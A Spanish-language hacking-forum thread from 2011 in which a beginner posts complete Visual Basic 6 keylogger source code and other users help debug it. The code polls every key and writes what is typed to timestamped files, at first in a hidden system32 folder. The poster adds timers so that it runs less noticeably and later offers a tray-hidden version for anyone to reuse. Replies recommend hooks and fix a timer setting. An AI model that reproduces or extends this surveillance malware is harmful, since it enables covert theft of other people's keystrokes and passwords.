elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  ayuda con un keylogger vb6		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ayuda con un keylogger vb6  (Leído 4,477 veces)
Majinz

Desconectado Desconectado

Mensajes: 15


Ver Perfil
ayuda con un keylogger vb6
« en: 23 Marzo 2011, 16:03 pm »
antes que nada, hola soy Majinz, soy nuevo aqui y demasiado noob en vb6, tengo un problema a la hora de poner en marcha un keylogger que gentilmente explico sharkl, como muchos otros tome su codigo de ejemplo y agregue otras cosa por mi parte, por ejemplo un par de timers para hacer de su ejecucion y guardado algo mas imperceptible, el problema surgio cuando quiese intentar hacer que diferenciara mayusculas de minusculas con UCase, llegado el momento de tipear repetia los caracteres quedaba mas o menos asi "Aa Bb..." asi que saque UCase pero sigue cometiendo el mismo error, al proyecto le quedan muchos detalle que pulir pero no hallo la forma de avanzar sin solucionar este percanse, el codigo fuente quedo mas o menos asi:
Código
  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  2. Private Sub Form_Load()
  3. Dim fso As New FileSystemObject
  4. If fso.FolderExists("C:\WINDOWS\system32\log") Then
  5. TM.Enabled = True
  6. Else
  7. MkDir ("C:\WINDOWS\system32\log")
  8. TM.Enabled = True
  9. End If
  10. End Sub
  11. Private Sub TM_Timer()
  12. Dim i As Integer, x As Integer
  13. For i = 8 To 222
  14. x = GetAsyncKeyState(i)
  15. If x = -32767 Then
  16. Select Case i
  17.    Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
  18.    Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
  19.    Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
  20.    Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
  21.    Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
  22.    Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
  23.    Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
  24.    Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
  25.    Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
  26.    Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
  27.    Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
  28.    Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
  29.    Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
  30.    Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
  31.    Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
  32.    Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
  33.    Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
  34.    Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
  35.    Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
  36.    Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
  37.    Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
  38.    Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
  39.    Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
  40.    Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
  41.    Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
  42.    Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
  43.    Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
  44.    Case vbKey0: Text1.Text = Text1.Text & "0"
  45.    Case vbKey1: Text1.Text = Text1.Text & "1"
  46.    Case vbKey2: Text1.Text = Text1.Text & "2"
  47.    Case vbKey3: Text1.Text = Text1.Text & "3"
  48.    Case vbKey4: Text1.Text = Text1.Text & "4"
  49.    Case vbKey5: Text1.Text = Text1.Text & "5"
  50.    Case vbKey6: Text1.Text = Text1.Text & "6"
  51.    Case vbKey7: Text1.Text = Text1.Text & "7"
  52.    Case vbKey8: Text1.Text = Text1.Text & "8"
  53.    Case vbKey9: Text1.Text = Text1.Text & "9"
  54.    Case vbKeyA: Text1.Text = Text1.Text & "A"
  55.    Case vbKeyB: Text1.Text = Text1.Text & "B"
  56.    Case vbKeyC: Text1.Text = Text1.Text & "C"
  57.    Case vbKeyD: Text1.Text = Text1.Text & "D"
  58.    Case vbKeyE: Text1.Text = Text1.Text & "E"
  59.    Case vbKeyF: Text1.Text = Text1.Text & "F"
  60.    Case vbKeyG: Text1.Text = Text1.Text & "G"
  61.    Case vbKeyH: Text1.Text = Text1.Text & "H"
  62.    Case vbKeyI: Text1.Text = Text1.Text & "I"
  63.    Case vbKeyJ: Text1.Text = Text1.Text & "J"
  64.    Case vbKeyK: Text1.Text = Text1.Text & "K"
  65.    Case vbKeyL: Text1.Text = Text1.Text & "L"
  66.    Case vbKeyM: Text1.Text = Text1.Text & "M"
  67.    Case vbKeyN: Text1.Text = Text1.Text & "N"
  68.    Case vbKeyO: Text1.Text = Text1.Text & "O"
  69.    Case vbKeyP: Text1.Text = Text1.Text & "P"
  70.    Case vbKeyQ: Text1.Text = Text1.Text & "Q"
  71.    Case vbKeyR: Text1.Text = Text1.Text & "R"
  72.    Case vbKeyS: Text1.Text = Text1.Text & "S"
  73.    Case vbKeyT: Text1.Text = Text1.Text & "T"
  74.    Case vbKeyU: Text1.Text = Text1.Text & "U"
  75.    Case vbKeyV: Text1.Text = Text1.Text & "V"
  76.    Case vbKeyW: Text1.Text = Text1.Text & "W"
  77.    Case vbKeyX: Text1.Text = Text1.Text & "X"
  78.    Case vbKeyY: Text1.Text = Text1.Text & "Y"
  79.    Case vbKeyZ: Text1.Text = Text1.Text & "Z"
  80.    Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
  81.    Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
  82.    Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
  83.    Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
  84.    Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
  85.    Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
  86.    Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
  87.    Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
  88.    Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
  89.    Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
  90.    Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
  91.    Case vbKeyAdd: Text1.Text = Text1.Text & "+"
  92.    Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
  93.    Case vbKeySubtract: Text1.Text = Text1.Text & "-"
  94.    Case vbKeyDecimal: Text1.Text = Text1.Text & "."
  95.    Case vbKeyDivide: Text1.Text = Text1.Text & "/"
  96.    Case vbKeyF1: Text1.Text = Text1.Text & "F1"
  97.    Case vbKeyF2: Text1.Text = Text1.Text & "F2"
  98.    Case vbKeyF3: Text1.Text = Text1.Text & "F3"
  99.    Case vbKeyF4: Text1.Text = Text1.Text & "F4"
  100.    Case vbKeyF5: Text1.Text = Text1.Text & "F5"
  101.    Case vbKeyF6: Text1.Text = Text1.Text & "F6"
  102.    Case vbKeyF7: Text1.Text = Text1.Text & "F7"
  103.    Case vbKeyF8: Text1.Text = Text1.Text & "F8"
  104.    Case vbKeyF9: Text1.Text = Text1.Text & "F9"
  105.    Case vbKeyF10: Text1.Text = Text1.Text & "F10"
  106.    Case vbKeyF11: Text1.Text = Text1.Text & "F11"
  107.    Case vbKeyF12: Text1.Text = Text1.Text & "F12"
  108. End Select
  109. End If
  110. Next
  111. End Sub
  112. Private Sub TM1_Timer()
  113. Dim canalLibre As Integer
  114. canalLibre = FreeFile
  115. Open "C:\WINDOWS\system32\log\" & Format(Time, "hhmmss") + Format(Date, "ddmmyyyy") & ".txt" For Output As #canalLibre
  116. Print #canalLibre, Text1
  117. Close #canalLibre
  118. End Sub
  119.  
a vista de noob no hay problema alguno, pero tampoco explicacion


« Última modificación: 24 Marzo 2011, 01:17 am por raul338 » En línea
Majinz

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: ayuda con un keylogger vb6
« Respuesta #1 en: 30 Marzo 2011, 23:32 pm »
me contesto yo, el error no estaba en el codigo estaba en mi ignorancia, igual gracias
En línea
seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: ayuda con un keylogger vb6
« Respuesta #2 en: 31 Marzo 2011, 05:27 am »
Hola, te recomiendo usar hooks para eso...el Timer consume recursos y aparte es una forma no muy optima.

saludos.
En línea
Majinz

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: ayuda con un keylogger vb6
« Respuesta #3 en: 3 Mayo 2011, 23:28 pm »
Primero que nada me disculpo por la tardanza gracias por tu recomendacion, la verdad no estoy muy instruido en vb6, me gusta, me interesa, pero apenas comienzo, con decirte que la solucion que me vino a la mente con problema de las mayusculas o minusculas fue repetir los case pero esta ves la pulsacion devolvia minusculas siempre y cuando el bloq mayuscula estubiera inactivo
seria algo mas o menos asi:

Private Sub TMBM_Timer()
If GetKeyState(VK_CAPITAL) = 1 Then
    TM.Enabled = True
    TM2.Enabled = False
Else
    TM.Enabled = False
    TM2.Enabled = True
End If
End Sub
En línea
Majinz

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: ayuda con un keylogger vb6
« Respuesta #4 en: 3 Mayo 2011, 23:41 pm »
siempre agradeciendo a sharkl por el tutorial les dejo el codigo fuente al cual le agregue un par de cosas, aclaracion: la carpeta log se hace en el mismo directorio donde se encuentra el ejecutable porque lo llevo conmigo a todos lados en el pendrive  :rolleyes:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Const VK_CAPITAL = &H14
Private Sub Command1_Click()
Me.WindowState = 1
End Sub
Private Sub Form_Load()
Dim fso As New FileSystemObject
If fso.FolderExists(App.Path & "\log") Then
TM.Enabled = True
Else
MkDir App.Path & "\log"
TM.Enabled = True
End If
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer
For i = 0 To 255
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Shift] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "[F1]"
   Case vbKeyF2: Text1.Text = Text1.Text & "[F2]"
   Case vbKeyF3: Text1.Text = Text1.Text & "[F3]"
   Case vbKeyF4: Text1.Text = Text1.Text & "[F4]"
   Case vbKeyF5: Text1.Text = Text1.Text & "[F5]"
   Case vbKeyF6: Text1.Text = Text1.Text & "[F6]"
   Case vbKeyF7: Text1.Text = Text1.Text & "[F7]"
   Case vbKeyF8: Text1.Text = Text1.Text & "[F8]"
   Case vbKeyF9: Text1.Text = Text1.Text & "[F9]"
   Case vbKeyF10: Text1.Text = Text1.Text & "[F10]"
   Case vbKeyF11: Text1.Text = Text1.Text & "[F11]"
   Case vbKeyF12: Text1.Text = Text1.Text & "[F12]"
End Select
End If
Next
End Sub
Private Sub TM1_Timer()
Dim canalLibre As Integer
canalLibre = FreeFile
Open (App.Path & "\log\") & "Dia" & " " & Format(Date, "ddmmyyyy") & " " & "a las" & " " & Format(Time, "hhmmss") & ".txt" For Output As #canalLibre
Print #canalLibre, Text1
Close #canalLibre
End Sub
Private Sub Form_Resize()
If (Me.WindowState = 1) Then
    sysTray1.PonerSystray
    Me.Hide
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
sysTray1.RemoverSystray
End
End Sub
Private Sub mnuSalir_Click()
Unload Me
End Sub
Private Sub sysTray1_MouseUP(Button As Integer)
If Button = vbLeftButton Then
   If (Me.WindowState = 1) Then
    Me.WindowState = 0
    sysTray1.RemoverSystray
    Me.Show
End If
End If
If Button = vbRightButton Then
   Me.PopupMenu mnuOpciones
End If
End Sub
Private Sub TM2_Timer()
Dim i As Integer, x As Integer
For i = 0 To 255
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Shift] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "a"
   Case vbKeyB: Text1.Text = Text1.Text & "b"
   Case vbKeyC: Text1.Text = Text1.Text & "c"
   Case vbKeyD: Text1.Text = Text1.Text & "d"
   Case vbKeyE: Text1.Text = Text1.Text & "e"
   Case vbKeyF: Text1.Text = Text1.Text & "f"
   Case vbKeyG: Text1.Text = Text1.Text & "g"
   Case vbKeyH: Text1.Text = Text1.Text & "h"
   Case vbKeyI: Text1.Text = Text1.Text & "i"
   Case vbKeyJ: Text1.Text = Text1.Text & "j"
   Case vbKeyK: Text1.Text = Text1.Text & "k"
   Case vbKeyL: Text1.Text = Text1.Text & "l"
   Case vbKeyM: Text1.Text = Text1.Text & "m"
   Case vbKeyN: Text1.Text = Text1.Text & "n"
   Case vbKeyO: Text1.Text = Text1.Text & "o"
   Case vbKeyP: Text1.Text = Text1.Text & "p"
   Case vbKeyQ: Text1.Text = Text1.Text & "q"
   Case vbKeyR: Text1.Text = Text1.Text & "r"
   Case vbKeyS: Text1.Text = Text1.Text & "s"
   Case vbKeyT: Text1.Text = Text1.Text & "t"
   Case vbKeyU: Text1.Text = Text1.Text & "u"
   Case vbKeyV: Text1.Text = Text1.Text & "v"
   Case vbKeyW: Text1.Text = Text1.Text & "w"
   Case vbKeyX: Text1.Text = Text1.Text & "x"
   Case vbKeyY: Text1.Text = Text1.Text & "y"
   Case vbKeyZ: Text1.Text = Text1.Text & "z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "[F1]"
   Case vbKeyF2: Text1.Text = Text1.Text & "[F2]"
   Case vbKeyF3: Text1.Text = Text1.Text & "[F3]"
   Case vbKeyF4: Text1.Text = Text1.Text & "[F4]"
   Case vbKeyF5: Text1.Text = Text1.Text & "[F5]"
   Case vbKeyF6: Text1.Text = Text1.Text & "[F6]"
   Case vbKeyF7: Text1.Text = Text1.Text & "[F7]"
   Case vbKeyF8: Text1.Text = Text1.Text & "[F8]"
   Case vbKeyF9: Text1.Text = Text1.Text & "[F9]"
   Case vbKeyF10: Text1.Text = Text1.Text & "[F10]"
   Case vbKeyF11: Text1.Text = Text1.Text & "[F11]"
   Case vbKeyF12: Text1.Text = Text1.Text & "[F12]"
End Select
End If
Next
End Sub
Private Sub TMBM_Timer()
If GetKeyState(VK_CAPITAL) = 1 Then
    TM.Enabled = True
    TM2.Enabled = False
Else
    TM.Enabled = False
    TM2.Enabled = True
End If
End Sub


sean libres de hacer y deshacer a voluntad, agradescan a sharkl y que les sea util, usa la ocx systray, por cierto, algo lei de los hook, voy a estudiarlo un poco y a meterle mano ver que sale :)
En línea
Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: ayuda con un keylogger vb6
« Respuesta #5 en: 4 Mayo 2011, 00:31 am »
Auch! Lo siento, pero me duele la vista con estos códigos.
Hacer caso a seba123neo y hacerlo con hooks, eso es una chapuzada...

DoEvents! :P
En línea
http://foro.h-sec.org/
bodoke1969

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: ayuda con un keylogger vb6
« Respuesta #6 en: 27 Mayo 2011, 22:37 pm »
Psike1 antes que nada mis felicitaciones x dar una sencilla explicacion del keylogger, solo para no interrumpirte y si me puedes ayudar tengo 1 duda: copie y ejecute el programa, el problema radica que solo me crea la carpeta log pero, no logro que escriba nada me faltara algo ?? estuve leyendo que si uno lo copia tal cual hay error, a lo mjor eso me ocurre, yo tambien soy novato y ando investigando ese error, espero me puedas ayudar y de antemano

GRACIAS !!!
En línea
Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: ayuda con un keylogger vb6
« Respuesta #7 en: 27 Mayo 2011, 22:50 pm »
Cita de: bodoke1969 en 27 Mayo 2011, 22:37 pm
Psike1 antes que nada mis felicitaciones x dar una sencilla explicacion del keylogger, solo para no interrumpirte y si me puedes ayudar tengo 1 duda: copie y ejecute el programa, el problema radica que solo me crea la carpeta log pero, no logro que escriba nada me faltara algo ?? estuve leyendo que si uno lo copia tal cual hay error, a lo mjor eso me ocurre, yo tambien soy novato y ando investigando ese error, espero me puedas ayudar y de antemano

GRACIAS !!!
¿Dónde doy una explicación del keylogger? :xD
mmmm... quizas no pusiste intervalo a el Timer (?) ...

Código
  1. Private Sub Form_Load()
  2.     Dim fso As New FileSystemObject
  3.     If fso.FolderExists("C:\WINDOWS\system32\log") Then
  4.         TM.Enabled = True
  5.     Else
  6.         MkDir ("C:\WINDOWS\system32\log")
  7.         TM.Interval = 10
  8.         TM.Enabled = True
  9.     End If
  10. End Sub
Reitero que esta forma es muy fea... :silbar:

DoEvents! :P
« Última modificación: 27 Mayo 2011, 22:56 pm por Psyke1 » En línea
http://foro.h-sec.org/
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Keylogger en VB ayuda
Programación Visual Basic 		Za3LoT 8 3,289 Último mensaje 8 Julio 2008, 05:38 am
por kabruxis
Ayuda kon Keylogger « 1 2 »
Programación Visual Basic 		cherembo 18 5,759 Último mensaje 6 Octubre 2006, 15:57 pm
por cherembo
ayuda con keylogger « 1 2 »
Programación Visual Basic 		TheWhite 14 5,152 Último mensaje 16 Agosto 2007, 22:51 pm
por HaDeS, -
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines